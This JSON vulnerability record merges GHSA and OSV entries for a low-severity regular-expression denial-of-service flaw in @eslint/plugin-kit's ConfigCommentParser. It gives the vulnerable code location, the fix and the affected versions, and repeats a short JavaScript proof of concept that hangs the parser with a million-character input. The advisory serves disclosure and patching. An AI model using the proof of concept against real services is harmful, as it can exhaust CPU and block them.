{"id":"GHSA-xffm-g5w8-qvg7","aliases":["CLSA-2026-1780966315"],"status":"published","title":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","description":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","severity":{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2025-07-18T20:39:12Z","modified":"2026-10-30T19:45:58Z","fixes":[{"ecosystem":"npm","package":"@eslint/plugin-kit","fixed_in":["0.3.4"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"@eslint/plugin-kit","fixed_in":["0.2.7-tuxcare.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@eslint/plugin-kit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.3.4"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"@eslint/plugin-kit","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.2.7-tuxcare.0"},{"fixed":"0.2.7-tuxcare.2"}]}],"versions":["0.2.7","0.2.7-tuxcare.1"]},{"source":"osv","ecosystem":"npm","package":"@eslint/plugin-kit","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.3.4"}]}]}],"references":[{"url":"https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7","tags":["web"]},{"url":"https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xffm-g5w8-qvg7"},{"url":"https://github.com/eslint/rewrite","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-xffm-g5w8-qvg7","title":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","description":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","status":"published","published":"2025-07-18T20:39:12Z","modified":"2025-07-28T17:34:45Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:38:51.864708Z"}],"osv":[{"id":"GHSA-xffm-g5w8-qvg7","title":"@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser","description":"### Summary\n\nThe `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.\n\n### Details\n\nThe regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.\n\n### PoC\n\n```javascript\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nconst str = `${\"A\".repeat(1000000)}?: 1 B: 2`;\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseJSONLikeConfig(str));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`\n// then the program will stuck forever with high CPU usage\n```\n\n### Impact\n\nThis is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.","status":"published","published":"2025-07-18T20:39:12Z","modified":"2026-09-10T03:50:26.39404248Z","cvss":[{"version":"4.0","score":2.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"low"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:59.835583Z"},{"id":"CLSA-2026-1780966315","title":"TuxCare security update for @eslint/plugin-kit (1 CVE)","description":"TuxCare rebuilt @eslint/plugin-kit to address 1 CVE. Fixed in 0.2.7-tuxcare.2.","status":"published","published":"2026-08-04T14:52:35Z","modified":"2026-10-30T19:45:58.035836982Z","updated_at":"2026-11-02T15:43:45.445699Z"}]}}